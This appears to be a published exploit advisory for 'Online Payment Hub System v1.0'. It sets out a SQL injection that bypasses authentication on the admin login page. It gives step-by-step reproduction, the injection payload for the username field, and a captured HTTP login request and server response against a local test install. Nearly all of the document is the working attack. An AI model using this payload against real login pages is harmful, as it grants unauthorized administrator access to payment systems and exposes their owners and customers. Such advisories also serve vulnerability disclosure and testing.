# Exploit Title: Online Payment Hub System - SQLi Authentication Bypass  
# Date: 29.05.2024  
# Exploit Author: Hamit Avşar  
# Vendor Homepage:  
# Software Link:  
# Version: 1.0  
# Tested on: Windows 11, Kali Linux  
# Online Payment Hub System v1.0 Login page can be bypassed with a simple SQLi to the username parameter.  
Steps To Reproduce:  
1 - Go to the login page http://localhost/oph/admin/login.php  
2 - Enter the payload to username field as "admin' or '1'='1" without double-quotes and type anything to password field.  
3 - Click on "Login" button and you are logged in as administrator.  
POST /oph/classes/Login.php?f=login HTTP/1.1  
Host: localhost  
Content-Length: 42  
sec-ch-ua: "Chromium";v="111", "Not(A:Brand";v="8"  
Accept: */*  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36  
sec-ch-ua-platform: "Windows"  
Origin: http://localhost  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: http://localhost/oph/admin/login.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: PHPSESSID=9f8v4097jovtf6a3igi4l6479i  
Connection: close  
HTTP/1.1 200 OK  
Date: Wed, 29 May 2024 17:15:28 GMT  
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30  
X-Powered-By: PHP/8.0.30  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Access-Control-Allow-Origin: *  
Content-Length: 20  
Connection: close  
Content-Type: text/html; charset=UTF-8